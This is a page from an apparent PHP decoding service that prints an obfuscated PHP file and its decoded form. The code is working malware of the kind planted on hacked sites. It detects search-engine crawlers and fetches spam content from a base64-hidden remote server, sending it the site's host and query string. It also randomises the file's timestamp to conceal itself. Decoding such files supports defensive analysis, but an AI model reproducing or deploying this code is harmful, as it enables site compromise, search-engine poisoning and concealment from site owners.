Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto sWTIH; IyiZA: $n4s65 = ["\102\141\x69\144\165\163\160\x69\144\x65\x72" => "..
Decoded Output download
<?php
goto sWTIH; IyiZA: $n4s65 = ["Baiduspider" => "Mozilla/5.0 (compatible; Baiduspider/2.0)", "Googlebot" => "Mozilla/5.0 (compatible; Googlebot/2.1)", "360Spider" => "Mozilla/5.0 (compatible; 360Spider)", "Bingbot" => "Mozilla/5.0 (compatible; Bingbot/2.0)", "YisouSpider" => "Mozilla/5.0 (compatible; YisouSpider)", "Sogou web spider" => "Sogou web spider/4.0"]; goto kX1o2; KoPmn: LRmhC: goto e7LVg; bEdt6: curl_setopt($NW8QP, CURLOPT_RETURNTRANSFER, 1); goto AbDxv; VjHed: curl_setopt($NW8QP, CURLOPT_USERAGENT, $ZmmWD); goto aSnOV; Bk3l4: $ass33 = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto xubXQ; EYuhL: $NW8QP = curl_init(); goto G0d73; aSnOV: $h2_AY = curl_exec($NW8QP); goto Di_yI; CPJCK: $h2_AY = @file_get_contents("{$DKP7z}/index.php?host={$ass33}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"], false, $ZIIsC); goto CVqPm; G0d73: curl_setopt($NW8QP, CURLOPT_URL, "{$DKP7z}/index.php?host={$ass33}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"]); goto bEdt6; CVqPm: if (!($h2_AY === FALSE)) { goto kW1IG; } goto EYuhL; hL6ZW: $DKP7z = base64_decode("aHR0cDovL3ZuLmFhamFjay5jb20="); goto Bk3l4; wXhdy: foreach ($n4s65 as $CQtPx => $m9dlg) { goto m5T0k; GXSD9: thbho: goto XVnv2;/*aone*/ w0Z5Z: goto LRmhC; goto GXSD9; k0guo: $ZmmWD = $m9dlg; goto w0Z5Z; XVnv2: CRDce: goto lwdT9; m5T0k: if (!(strpos($PKd8M, $CQtPx) !== false)) { goto thbho; } goto k0guo; lwdT9: } goto KoPmn; hbHfi: header("Content-Type: text/html;charset=utf-8"); goto ozHCp; EQxNP: function HGZ1Y($PVkOm) { goto Gln3V; Gln3V: @chmod($PVkOm, 0644); goto hYYyC; Rit_w: $fvzup = mt_rand($Vqkom, $ay9TP); goto N6MAR; N6MAR: @touch($PVkOm, $fvzup, $fvzup); goto ljL4o; m26KG: $ay9TP = strtotime("2024-12-31"); goto Rit_w; hYYyC: $Vqkom = strtotime("2000-01-01"); goto m26KG; ljL4o: } goto EMVKo; wtb2c: $ZIIsC = stream_context_create($mc7Cg); goto CPJCK; sWTIH: set_time_limit(0); goto hbHfi; ozHCp: date_default_timezone_set("PRC"); goto hL6ZW; T5UkF: echo str_replace("", "telegram:@aone8", $h2_AY); goto za7T8; Di_yI: curl_close($NW8QP); goto JzurA; JzurA: kW1IG: goto T5UkF; xZQGD: curl_setopt($NW8QP, CURLOPT_SSL_VERIFYHOST, false); goto VjHed; xubXQ: $PKd8M = $_SERVER["HTTP_USER_AGENT"]; goto IyiZA; za7T8: $lVYIu = basename($_SERVER["PHP_SELF"]); goto EQxNP; kX1o2: $ZmmWD = "Mozilla/5.0"; goto wXhdy; AbDxv: curl_setopt($NW8QP, CURLOPT_SSL_VERIFYPEER, false); goto xZQGD; e7LVg: $mc7Cg = ["http" => ["header" => "User-Agent: {$ZmmWD}
"]]; goto wtb2c; EMVKo: hgz1Y($lVYIu);
?>
Did this file decode correctly?
Original Code
<?php
goto sWTIH; IyiZA: $n4s65 = ["\102\141\x69\144\165\163\160\x69\144\x65\x72" => "\115\x6f\172\151\154\x6c\141\x2f\65\x2e\60\x20\50\143\x6f\x6d\160\x61\164\151\142\x6c\145\x3b\40\x42\x61\x69\x64\165\x73\160\151\x64\x65\x72\57\62\x2e\x30\51", "\107\x6f\x6f\x67\x6c\145\142\157\x74" => "\115\x6f\172\x69\154\154\x61\57\x35\x2e\x30\40\x28\x63\157\x6d\160\141\164\151\x62\x6c\x65\x3b\x20\107\157\157\147\154\x65\142\157\x74\x2f\x32\x2e\61\51", "\63\66\x30\123\x70\x69\x64\x65\162" => "\x4d\x6f\x7a\151\x6c\154\141\57\65\x2e\60\40\x28\143\x6f\155\x70\141\x74\x69\142\x6c\x65\x3b\x20\x33\x36\x30\123\x70\151\x64\x65\x72\x29", "\x42\x69\x6e\x67\x62\157\164" => "\115\x6f\172\151\x6c\154\x61\57\65\56\x30\x20\x28\x63\157\x6d\x70\x61\x74\151\x62\154\x65\73\x20\x42\151\x6e\x67\x62\x6f\x74\x2f\62\x2e\60\x29", "\x59\151\x73\x6f\x75\123\x70\151\144\x65\x72" => "\115\157\172\x69\x6c\x6c\141\x2f\x35\56\x30\40\50\x63\157\155\160\141\164\x69\x62\x6c\145\73\40\x59\151\163\x6f\165\123\160\151\x64\145\x72\51", "\x53\x6f\147\157\x75\40\x77\145\x62\x20\x73\x70\x69\x64\x65\x72" => "\x53\x6f\x67\x6f\165\x20\x77\x65\x62\40\x73\x70\151\144\145\162\x2f\x34\x2e\x30"]; goto kX1o2; KoPmn: LRmhC: goto e7LVg; bEdt6: curl_setopt($NW8QP, CURLOPT_RETURNTRANSFER, 1); goto AbDxv; VjHed: curl_setopt($NW8QP, CURLOPT_USERAGENT, $ZmmWD); goto aSnOV; Bk3l4: $ass33 = "\150\x74\164\160\72\x2f\57" . $_SERVER["\110\124\x54\120\137\x48\117\123\124"] . $_SERVER["\x50\x48\120\137\x53\105\x4c\x46"]; goto xubXQ; EYuhL: $NW8QP = curl_init(); goto G0d73; aSnOV: $h2_AY = curl_exec($NW8QP); goto Di_yI; CPJCK: $h2_AY = @file_get_contents("{$DKP7z}\x2f\151\156\x64\x65\170\56\160\x68\160\x3f\x68\x6f\x73\x74\x3d{$ass33}\x26\x75\162\x6c\75" . $_SERVER["\121\x55\105\x52\131\137\123\124\122\111\x4e\x47"] . "\46\x64\x6f\155\141\151\156\x3d" . $_SERVER["\x53\105\122\126\x45\x52\137\116\101\x4d\x45"], false, $ZIIsC); goto CVqPm; G0d73: curl_setopt($NW8QP, CURLOPT_URL, "{$DKP7z}\57\x69\156\144\x65\x78\x2e\x70\x68\x70\x3f\150\x6f\163\164\75{$ass33}\x26\165\x72\154\x3d" . $_SERVER["\121\x55\105\x52\x59\137\123\124\122\x49\x4e\x47"] . "\x26\x64\157\x6d\141\x69\156\75" . $_SERVER["\x53\x45\x52\126\105\122\x5f\116\101\x4d\105"]); goto bEdt6; CVqPm: if (!($h2_AY === FALSE)) { goto kW1IG; } goto EYuhL; hL6ZW: $DKP7z = base64_decode("\x61\x48\122\60\143\x44\157\166\x4c\x33\x5a\x75\x4c\x6d\106\x68\141\x6d\106\x6a\x61\x79\65\x6a\142\x32\60\x3d"); goto Bk3l4; wXhdy: foreach ($n4s65 as $CQtPx => $m9dlg) { goto m5T0k; GXSD9: thbho: goto XVnv2;/*aone*/ w0Z5Z: goto LRmhC; goto GXSD9; k0guo: $ZmmWD = $m9dlg; goto w0Z5Z; XVnv2: CRDce: goto lwdT9; m5T0k: if (!(strpos($PKd8M, $CQtPx) !== false)) { goto thbho; } goto k0guo; lwdT9: } goto KoPmn; hbHfi: header("\x43\x6f\156\164\x65\156\164\55\124\171\x70\145\72\x20\x74\x65\x78\164\57\150\x74\155\154\x3b\143\x68\x61\162\x73\x65\164\x3d\165\164\x66\x2d\70"); goto ozHCp; EQxNP: function HGZ1Y($PVkOm) { goto Gln3V; Gln3V: @chmod($PVkOm, 0644); goto hYYyC; Rit_w: $fvzup = mt_rand($Vqkom, $ay9TP); goto N6MAR; N6MAR: @touch($PVkOm, $fvzup, $fvzup); goto ljL4o; m26KG: $ay9TP = strtotime("\x32\x30\62\64\x2d\61\62\x2d\x33\61"); goto Rit_w; hYYyC: $Vqkom = strtotime("\62\x30\60\x30\55\x30\61\55\x30\x31"); goto m26KG; ljL4o: } goto EMVKo; wtb2c: $ZIIsC = stream_context_create($mc7Cg); goto CPJCK; sWTIH: set_time_limit(0); goto hbHfi; ozHCp: date_default_timezone_set("\x50\122\103"); goto hL6ZW; T5UkF: echo str_replace("\347\203\237\351\x9b\xa8\xe9\xbb\221\345\xb8\xbd", "\x74\x65\154\x65\x67\x72\x61\x6d\72\x40\141\x6f\x6e\145\x38", $h2_AY); goto za7T8; Di_yI: curl_close($NW8QP); goto JzurA; JzurA: kW1IG: goto T5UkF; xZQGD: curl_setopt($NW8QP, CURLOPT_SSL_VERIFYHOST, false); goto VjHed; xubXQ: $PKd8M = $_SERVER["\110\x54\124\120\137\x55\123\105\x52\x5f\x41\107\105\116\x54"]; goto IyiZA; za7T8: $lVYIu = basename($_SERVER["\120\x48\120\x5f\x53\105\114\106"]); goto EQxNP; kX1o2: $ZmmWD = "\115\x6f\172\151\154\x6c\141\57\65\56\60"; goto wXhdy; AbDxv: curl_setopt($NW8QP, CURLOPT_SSL_VERIFYPEER, false); goto xZQGD; e7LVg: $mc7Cg = ["\x68\164\164\160" => ["\150\x65\x61\x64\145\162" => "\x55\163\145\x72\55\101\147\145\x6e\164\x3a\x20{$ZmmWD}\15\12"]]; goto wtb2c; EMVKo: hgz1Y($lVYIu);
Function Calls
None |
Stats
MD5 | 79f98c22671ab89610780d0e298f2994 |
Eval Count | 0 |
Decode Time | 51 ms |